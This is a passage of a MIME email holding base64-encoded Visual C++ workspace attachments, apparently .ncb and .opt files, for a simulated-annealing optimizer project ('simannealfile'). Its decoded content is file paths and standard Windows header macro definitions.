aXRfRGlwbG9tYXJiZWl0XF9fT3B0aW1pZXJlclxURU1cc2ltYW5uZWFsZmlsZVxzaW1hbm5l YWxmaWxlLmNwcAAvbmNiL21vZHVsZS9DOlxBcmJlaXRfRGlwbG9tYXJiZWl0XF9fT3B0aW1p ZXJlclxURU1cc2ltYW5uZWFsZmlsZVx2YXJpYWJsZS5jcHAAL25jYi9tb2R1bGUvQzpcQXJi ZWl0X0RpcGxvbWFyYmVpdFxfX09wdGltaWVyZXJcVEVNXHNpbWFubmVhbGZpbGVcc2ltYW5u ZWFsZmlsZV93cmFwLmNwcAAjAAAARgAAAAMAAABjLx4cqP84SSQAAAAAAAAAhAAAAAoAAAD7 AwAAGQAAAAAAAAAEAAAASAEAAA0AAAAgBgAAIAAAAHIGAAAhAAAA0wUAAB8AAAAXAAAABgAA AIQFAAAeAAAAuQcAACUAAADQAgAAEwAAAI4CAAASAAAA5gQAABwAAAAHAAAABQAAAAgCAAAQ AAAACAgAACYAAADGAAAACwAAAEUAAAAJAAAAEAcAACMAAADCBgAAIgAAAAYBAAAMAAAAVwMA ABUAAAAnAAAABwAAAIgBAAAOAAAASAQAABoAAABMAgAAEQAAAGUHAAAkAAAAyQEAAA8AAADq AwAAGAAAABADAAAUAAAANgAAAAgAAACYAwAAFgAAAMADAAAXAAAAmAQAABsAAAA2BQAAHQAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACcAAAC8AQAA4A5GAakJAABowEcBAAAAANgQRgEAAAAA6BBGARcuAAD4EEYB CAAAABgRRgEMEAAAKBFGARgAAABAEUYB1BMAAFARRgEQBAAAaBFGAagBAAB4EUYBtAIAAIgR RgGkAAAAmBFGAVAAAACoEUYBYAAAALgRRgH0AAAAyBFGARAFAADYEUYBqAUAAOgRRgEAAAAA +BFGAcACAAAIEkYBAAAAABgSRgFUAgAAKBJGAR4AAAA4EkYBHgAAAEgSRgEEAAAAWBJGARAE AABoEkYBqAEAAHgSRgG0AgAAiBJGAaQAAACYEkYBUAAAAKgSRgFgAAAAuBJGAfQAAADIEkYB EAUAANgSRgGoBQAA6BJGAcACAAD4EkYBAAAAAAgTRgHAAQAAGBNGAVQCAAAoE0YBMA0AABjJ RwEhAGQAZQBmAFMALQAuAC8AMAAxADIAVQBaAFsAXABdAD4APwBUAFcAWABZADsAXgBfAGAA YQBiABEAFAAVABYAFwAYABkAGgAbABwAHQAeACAAJQA8AD0AYwAiACMAJAAmACcAKAApACoA KwA6AEIAQwBEAEUARgA2ADcAOAA5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA --------------090302080802010307050504 Content-Type: application/octet-stream; name="simannealfile.opt" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="simannealfile.opt" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAAQAAAAAA AAAAEAAA/v///wAAAAD+////AAAAAAAAAAD///////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// ///////////////////////////////////9////IAAAAAMAAAAEAAAABQAAAAYAAAAHAAAA CAAAAAkAAAAKAAAACwAAAP7///8NAAAADgAAAA8AAAAQAAAAEQAAABIAAAATAAAAFAAAABUA AAD+////FwAAABgAAAAZAAAAGgAAABsAAAAcAAAAHQAAAB4AAAAfAAAA/v///0sAAAAiAAAA IwAAACQAAAAlAAAAJgAAACcAAAAoAAAAKQAAACoAAAD+////LAAAAC0AAAAuAAAALwAAADAA AAAxAAAAMgAAADMAAAA0AAAANQAAADYAAAD+////OAAAADkAAAA6AAAAOwAAADwAAAA9AAAA PgAAAD8AAABAAAAA/v///0IAAABDAAAARAAAAEUAAABGAAAARwAAAEgAAABJAAAASgAAAP7/ ///+////TQAAAE4AAABPAAAAUAAAAFEAAABSAAAAUwAAAFQAAABVAAAA/v///1cAAABYAAAA WQAAAFoAAABbAAAAXAAAAF0AAABeAAAAXwAAAGAAAABhAAAA/v////////////////////// //////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////1IA bwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAWAAUA//////////8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABD8 eU+/rMEB/v///wAAAAAAAAAAVwBvAHIAawBzAHAAYQBjAGUAIABTAHQAYQB0AGUAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAgECAAAABAAAAP////8AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAABQAAAAAAABCAHIAbwB3AHMAZQByAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAACAAMA AAAIAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAFAAA AAAAAEUAZABpAHQAbwByAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAOAAIBBgAAAP//////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAFgAAAAAUAAAAAAAAAQAFAAEAAAANc2ltYW5uZWFsZmlsZUdDOlxBcmJl aXRfRGlwbG9tYXJiZWl0XF9fT3B0aW1pZXJlclxURU1cc2ltYW5uZWFsZmlsZVxzaW1hbm5l YWxmaWxlLmRzcAEAAAAAAAAAAAAAAAAAAgAAACwMCqzY5PgAfgAAABIAAAAHAAAAHQAAAAAA AAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAwAAAAMAAAAdAAAAAwAAAF0BAABuAQAA JAMAAPMBAABgAQAAiwEAACEDAADwAQAAYAEAAIsBAAAhAwAA8AEAAGABAACLAQAAIQMAAPAB AABgAQAAiwEAACEDAACLAQAAXQEAAG4BAAAkAwAAiwEAAF0BAACLAQAAYAEAAPABAAAhAwAA iwEAACQDAADwAQAAXQEAAPABAAAkAwAA8wEAAGQBAAB1AQAABwMAAIcBAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAoDAABzAQAAHwMAAIgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAMcBAACFAAAAAwAAAB0AAADEAQAAggAAAAMAAAAdAAAA xAEAAIIAAAADAAAAHQAAAMQBAACCAAAAAwAAAB0AAADEAQAAHQAAAAAAAAAAAAAAxwEAAB0A AAAAAAAAHQAAAAMAAACCAAAAxAEAAB0AAADHAQAAggAAAAAAAACCAAAAxwEAAIUAAAAHAAAA BwAAAKoBAAAZAAAAo/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+ //+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+tAQAABQAAAMIBAAAaAAAA o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+ //+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v// kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAA AAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAxwEAAIUAAAD+////AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAEAAAABAAAAAAAAAAAAAAAAAAAAZW5kAAUFkAABAAgAGGm0AHgBAwBfX1JQ Q19BUEkgX19zdGRjYWxsCiNkZWZpbmUgX19SUENfQ0FMTEVFIF9fc3RkY2FsbAojZGVmaW5l IF9fUlBDX0ZBUgojZGVmaW5lIF9fUlBDX1NUVUIgX19zdGRjYWxsCiNkZWZpbmUgX19SUENf VVNFUiBfX3N0ZGNhbGwKI2RlZmluZSBfQ09NX1NNQVJUUFRSX1RZUEVERUYoSW50ZXJmYWNl LCBJSUQpIHR5cGVkZWYgX2NvbV9wdHJfdDwgX2NvbV9JSUlEPCBJbnRlcmZhY2UsICZJSUQ+ ID4gSW50ZXJmYWNlIyNQdHIKI2RlZmluZSBfQ1JUQVBJMSBfX2NkZWNsCiNkZWZpbmUgX0NS VElNUAojZGVmaW5lIF9TVEQgc3RkOjoKI2RlZmluZSBfU1REX0JFR0lOIG5hbWVzcGFjZSBz dGQgewojZGVmaW5lIF9TVERfRU5EIH07CiNkZWZpbmUgX1NURF9VU0lORwojZGVmaW5lIEFQ SVBSSVZBVEUgX19zdGRjYWxsCiNkZWZpbmUgQ0FMTEJBQ0sKI2RlZmluZSBjZGVjbCBfX2Nk ZWNsCiNkZWZpbmUgQ0RFQ0wgX19jZGVjbAojZGVmaW5lIEQzRFJNQVBJIF9fc3RkY2FsbAoj ZGVmaW5lIERFQ0xTUEVDX1VVSUQoeCkgX19kZWNsc3BlYyh1dWlkKHgpKQojZGVmaW5lIEVY UE9SVAojZGVmaW5lIEZBUgojZGVmaW5lIGZhcgojZGVmaW5lIEZBU1RDQUxMIF9fZmFzdGNh bGwKI2RlZmluZSBJTUFHRUFQSSBfX3N0ZGNhbGwKI2RlZmluZSBJTlNUQVBJIF9fc3RkY2Fs bAojZGVmaW5lIGludGVyZmFjZSBzdHJ1Y3QKI2RlZmluZSBNSURMX0lOVEVSRkFDRSh4KSBz dHJ1Y3QgX19kZWNsc3BlYyh1dWlkKHgpKSBfX2RlY2xzcGVjKG5vdnRhYmxlKQojZGVmaW5l IE5FQVIKI2RlZmluZSBORVRfQVBJX0ZVTkNUSU9OIF9fc3RkY2FsbAojZGVmaW5lIE5UQVBJ IF9fc3RkY2FsbAojZGVmaW5lIHBhc2NhbCBfX3N0ZGNhbGwKI2RlZmluZSBQQVNDQUwgX19z dGRjYWxsCiNkZWZpbmUgUlBDX0VOVFJZIF9fc3RkY2FsbAojZGVmaW5lIFJQQ19WQVJfRU5U UlkgX19jZGVjbAojZGVmaW5lIFNJWkVfVF9NQVggVUlOVF9NQVgKI2RlZmluZSBTUUxfQVBJ IF9fc3RkY2FsbAojZGVmaW5lIFNSVkFQSQojZGVmaW5lIFNUREFQSSBIUkVTVUxUIFNUREFQ SUNBTExUWVBFCiNkZWZpbmUgU1REQVBJXyh0eXBlKSB0eXBlIFNUREFQSUNBTExUWVBFCiNk ZWZpbmUgU1REQVBJQ0FMTFRZUEUgX19zdGRjYWxsCiNkZWZpbmUgU1REQVBJViBIUkVTVUxU IFNUREFQSVZDQUxMVFlQRQojZGVmaW5lIFNUREFQSVZfKHR5cGUpIHR5cGUgU1REQVBJVkNB TExUWVBFCiNkZWZpbmUgU1REQVBJVkNBTExUWVBFIF9fY2RlY2wKI2RlZmluZSBTVERNRVRI T0QobWV0aG9kKSB2aXJ0dWFsIEhSRVNVTFQgU1RETUVUSE9EQ0FMTFRZUEUgbWV0aG9kCiNk ZWZpbmUgU1RETUVUSE9EXyh0eXBlLG1ldGhvZCkgdmlydHVhbCB0eXBlIFNURE1FVEhPRENB TExUWVBFIG1ldGhvZAojZGVmaW5lIFNURE1FVEhPRENBTExUWVBFIF9fc3RkY2FsbAojZGVm aW5lIFNURE1FVEhPRElNUCBIUkVTVUxUIFNURE1FVEhPRENBTExUWVBFCiNkZWZpbmUgU1RE TUVUSE9ESU1QXyh0eXBlKSB0eXBlIFNURE1FVEhPRENBTExUWVBFCiNkZWZpbmUgU1RETUVU SE9ESU1QViBIUkVTVUxUIFNURE1FVEhPRFZDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRElN UFZfKHR5cGUpIHR5cGUgU1RETUVUSE9EVkNBTExUWVBFCiNkZWZpbmUgU1RETUVUSE9EVkNB TExUWVBFIF9fY2RlY2wKI2RlZmluZSBTVERNQVBJSU5JVENBTExUWVBFIF9fY2RlY2wKI2Rl ZmluZSBVTkFMSUdORUQKI2RlZmluZSBWRldBUElWCiNkZWZpbmUgV0RCR0FQSSBfX3N0ZGNh bGwKI2RlZmluZSBXSU5BUEkgX19zdGRjYWxsCiNkZWZpbmUgV0lOQVBJViBfX2NkZWNsCiNk ZWZpbmUgV0lOT0xFQVBJIEhSRVNVTFQgU1REQVBJQ0FMTFRZUEUKI2RlZmluZSBXSU5PTEVB UElfKHR5cGUpIHR5cGUgU1REQVBJQ0FMTFRZUEUKI2RlZmluZSBhZnhfbXNnCiNkZWZpbmUg QVRMX05PX1ZUQUJMRSBfX2RlY2xzcGVjKG5vdnRhYmxlKQojZGVmaW5lIEFUTEFQSSBIUkVT VUxUCiNkZWZpbmUgQVRMQVBJXyh4KSB4CiNkZWZpbmUgQUZYX0NERUNMIF9fY2RlY2wKI2Rl ZmluZSBBRlhfQ0xBU1NfRVhQT1JUIF9fZGVjbHNwYJCzAAAAAAABAQEBAQEIAEVfRVgoY2xh c3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX09MRUNUTFRZUEUoY2xhc3NfbmFtZSkKI2RlZmlu ZSBERUNMQVJFX09MRVRZUEVMSUIoY2xhc3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX09OTFlf QUdHUkVHQVRBQkxFKHgpCiNkZWZpbmUgREVDTEFSRV9PUEFRVUUzMih4KQojZGVmaW5lIERF Q0xBUkVfUEFSU0VfTUFQKCkKI2RlZmluZSBERUNMQVJFX1BPTFlfQUdHUkVHQVRBQkxFKHgp CiNkZWZpbmUgREVDTEFSRV9QUk9QRVJUWV9TVVBQT1JUKGNsYXNzKQojZGVmaW5lIERFQ0xB UkVfUFJPUFBBR0VJRFMoY2xhc3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX1BST1RFQ1RfRklO QUxfQ09OU1RSVUNUKCkKI2RlZmluZSBERUNMQVJFX1JFR0lTVFJZKGNsYXNzLCBwaWQsIHZw aWQsIG5pZCwgZmxhZ3MpCiNkZWZpbmUgREVDTEFSRV9SRUdJU1RSWV9SRVNPVVJDRSh4KQoj ZGVmaW5lIERFQ0xBUkVfUkVHSVNUUllfUkVTT1VSQ0VJRCh4KQojZGVmaW5lIERFQ0xBUkVf U0VSSUFMKGNsYXNzX25hbWUpCiNkZWZpbmUgREVDTEFSRV9TVEFUSUNfUkVHSVNUUllfUkVT T1VSQ0UoeCkKI2RlZmluZSBERUNMQVJFX1NUQVRJQ19SRUdJU1RSWV9SRVNPVVJDRUlEKHgp CiNkZWZpbmUgREVDTEFSRV9WSUVXX1NUQVRVUyhzdGF0dXNGbGFncykKI2RlZmluZSBERUNM QVJFX1dORF9DTEFTUyhXbmRDbGFzc05hbWUpCiNkZWZpbmUgREVDTEFSRV9XTkRfU1VQRVJD TEFTUyhXbmRDbGFzc05hbWUsIE9yaWdXbmRDbGFzc05hbWUpCiNkZWZpbmUgREVGSU5FX0NP TU1BTkQoeCwgc3pDb21tYW5kKQojZGVmaW5lIERFTEVHQVRFX0RVQUxfSU5URVJGQUNFKG9i amVjdENsYXNzLCBkdWFsQ2xhc3MpCiNkZWZpbmUgRU5EX0NPTk5FQ1RJT05fUEFSVChsb2Nh bENsYXNzKSB9IG1feCMjbJQDAQIBAGFzGGm0AHgBAwBkIGNsYXNzIFgjI2xvY2FsQ2xhc3M7 CiNkZWZpbmUgRU5EX0RVQUxfSU5URVJGQUNFX1BBUlQobG9jYWxDbGFzcykgfSBtX3gjI2xv Y2FsQ2xhc3M7IGZyaWVuZCBjbGFzcyBYIyNsb2NhbENsYXNzOwojZGVmaW5lIEVORF9JTlRF UkZBQ0VfUEFSVChsb2NhbENsYXNzKSB9IG1feCMjbG9jYWxDbGFzczsgZnJpZW5kIGNsYXNz IFgjI2xvY2FsQ2xhc3M7CiNkZWZpbmUgRVhURVJOX1BST0NFU1NfTE9DQUwoY2xhc3NfbmFt ZSwgaWRlbnRfbmFtZSkgZXh0ZXJuIEFGWF9EQVRBIFBST0NFU1NfTE9DQUwoY2xhc3NfbmFt ZSwgaWRlbnRfbmFtZSkKI2RlZmluZSBFWFRfU05BUElOTUVOVUlEKGlkKQojZGVmaW5lIElN UExFTUVOVF9EVUFMX0VSUk9SSU5GTyhvYmplY3RDbGFzcywgcmlpZFNvdXJjZSkKI2RlZmlu ZSBJTVBMRU1FTlRfRFlOQU1JQyhjbGFzc19uYW1lLCBiYXNlX2NsYXNzX25hbWUpCiNkZWZp bmUgSU1QTEVNRU5UX0RZTkNSRUFURShjbGFzc19uYW1lLCBiYXNlX2NsYXNzX25hbWUpCiNk ZWZpbmUgSU1QTEVNRU5UX09MRUNSRUFURShjbGFzc19uYW1lLCBleHRlcm5hbF9uYW1lLCBs LCB3MSwgdzIsIGIxLCBiMiwgYjMsIGI0LCBiNSwgYjYsIGI3LCBiOCkKI2RlZmluZSBJTVBM RU1FTlRfT0xFQ1JFQVRFX0VYKGNsYXNzX25hbWUsIGV4dGVybmFsX25hbWUsIGwsIHcxLCB3 MiwgYjEsIGIyLCBiMywgYjQsIGI1LCBiNiwgYjcsIGI4KQojZGVmaW5lIElNUExFTUVOVF9P TEVDVExUWVBFKGNsYXNzX25hbWUsIGlkc1VzZXJUeXBlTmFtZSwgZHdPbGVNaXNjKQojZGVm aW5lIElNUExFTUVOVF9PTEVUWVBFTElCKGNsYXNzX25hbWUsIHRsaWQsIHdWZXJNYWpvciwg d1Zlck1pbm9yKQojZGVmaW5lIElNUExFTUVOVF9TRVJJQUwoY2xhc3NfbmFtZSwgYmFzZV9j bGFzc19uYW1lLCB3U2NoZW1hKQojZGVmaW5lIElOSVRfSU5URVJGQUNFX1BBUlQodGhlQ2xh c3MsIGxvY2FsQ2xhc3MpCiNkZWZpbmUgUFJPQ0VTU19MT0NBTChjbGFzc19uYW1lLCBpZGVu dF9uYW1lKSBBRlhfREEDAAEAAAAAAAAAAAEAAABlYWxmaWxlR0M6XEFyYmVpdF9EaXBsb21h cmJlaXRcX19PcHRpbWllcmVyXFRFTVxzaW1hbm5lYWxmaWxlXHNpbWFubmVhbGZpbGUuZHNw AQAAAAAAAAAAAAAAAAACAAAALAwKrNjk+AB+AAAAEgAAAAcAAAAdAAAAAAAAAAAAAAAAAAAA AAAAAAQAAAAAAAAAAAAAAAAAAAADAAAAAwAAAB0AAAADAAAAXQEAAG4BAAAkAwAA8wEAAGAB AACLAQAAIQMAAPABAABgAQAAiwEAACEDAADwAQAAYAEAAIsBAAAhAwAA8AEAAGABAACLAQAA IQMAAIsBAABdAQAAbgEAACQDAACLAQAAXQEAAIsBAABgAQAA8AEAACEDAACLAQAAJAMAAPAB AABdAQAA8AEAACQDAADzAQAAZAEAAHUBAAAHAwAAhwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAACgMAAHMBAAAfAwAAiAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAxwEAAIUAAAADAAAAHQAAAMQBAACCAAAAAwAAAB0AAADEAQAAggAAAAMA AAAdAAAAxAEAAIIAAAADAAAAHQAAAMQBAAAdAAAAAAAAAAAAAADHAQAAHQAAAAAAAAAdAAAA AwAAAIIAAADEAQAAHQAAAMcBAACCAAAAAAAAAIIAAADHAQAAhQAAAAcAAAAHAAAAqgEAABkA AACj/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v// kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//60BAAAFAAAAwgEAABoAAACj/v//kv7//6P+ //+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v// o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+ //+j/v//kv7//6P+//+S/v//o/7//5L+//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAA AAAAAAAAAAAAAAAAAADHAQAAhQAAAP7///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AQAAAAEAAAAAAAAAAAAAAAAAAABlbmQABQWQAAEACAAYabQAeAEDAF9fUlBDX0FQSSBfX3N0 ZGNhbGwKI2RlZmluZSBfX1JQQ19DQUxMRUUgX19zdGRjYWxsCiNkZWZpbmUgX19SUENfRkFS CiNkZWZpbmUgX19SUENfU1RVQiBfX3N0ZGNhbGwKI2RlZmluZSBfX1JQQ19VU0VSIF9fc3Rk Y2FsbAojZGVmaW5lIF9DT01fU01BUlRQVFJfVFlQRURFRihJbnRlcmZhY2UsIElJRCkgdHlw ZWRlZiBfY29tX3B0cl90PCBfY29tX0lJSUQ8IEludGVyZmFjZSwgJklJRD4gPiBJbnRlcmZh Y2UjI1B0cgojZGVmaW5lIF9DUlRBUEkxIF9fY2RlY2wKI2RlZmluZSBfQ1JUSU1QCiNkZWZp bmUgX1NURCBzdGQ6OgojZGVmaW5lIF9TVERfQkVHSU4gbmFtZXNwYWNlIHN0ZCB7CiNkZWZp bmUgX1NURF9FTkQgfTsKI2RlZmluZSBfU1REX1VTSU5HCiNkZWZpbmUgQVBJUFJJVkFURSBf X3N0ZGNhbGwKI2RlZmluZSBDQUxMQkFDSwojZGVmaW5lIGNkZWNsIF9fY2RlY2wKI2RlZmlu ZSBDREVDTCBfX2NkZWNsCiNkZWZpbmUgRDNEUk1BUEkgX19zdGRjYWxsCiNkZWZpbmUgREVD TFNQRUNfVVVJRCh4KSBfX2RlY2xzcGVjKHV1aWQoeCkpCiNkZWZpbmUgRVhQT1JUCiNkZWZp bmUgRkFSCiNkZWZpbmUgZmFyCiNkZWZpbmUgRkFTVENBTEwgX19mYXN0Y2FsbAojZGVmaW5l IElNQUdFQVBJIF9fc3RkY2FsbAojZGVmaW5lIElOU1RBUEkgX19zdGRjYWxsCiNkZWZpbmUg aW50ZXJmYWNlIHN0cnVjdAojZGVmaW5lIE1JRExfSU5URVJGQUNFKHgpIHN0cnVjdCBfX2Rl Y2xzcGVjKHV1aWQoeCkpIF9fZGVjbHNwZWMobm92dGFibGUpCiNkZWZpbmUgTkVBUgojZGVm aW5lIE5FVF9BUElfRlVOQ1RJT04gX19zdGRjYWxsCiNkZWZpbmUgTlRBUEkgX19zdGRjYWxs CiNkZWZpbmUgcGFzY2FsIF9fc3RkY2FsbAojZGVmaW5lIFBBU0NBTCBfX3N0ZGNhbGwKI2Rl ZmluZSBSUENfRU5UUlkgX19zdGRjYWxsCiNkZWZpbmUgUlBDX1ZBUl9FTlRSWSBfX2NkZWNs CiNkZWZpbmUgU0laRV9UX01BWCBVSU5UX01BWAojZGVmaW5lIFNRTF9BUEkgX19zdGRjYWxs 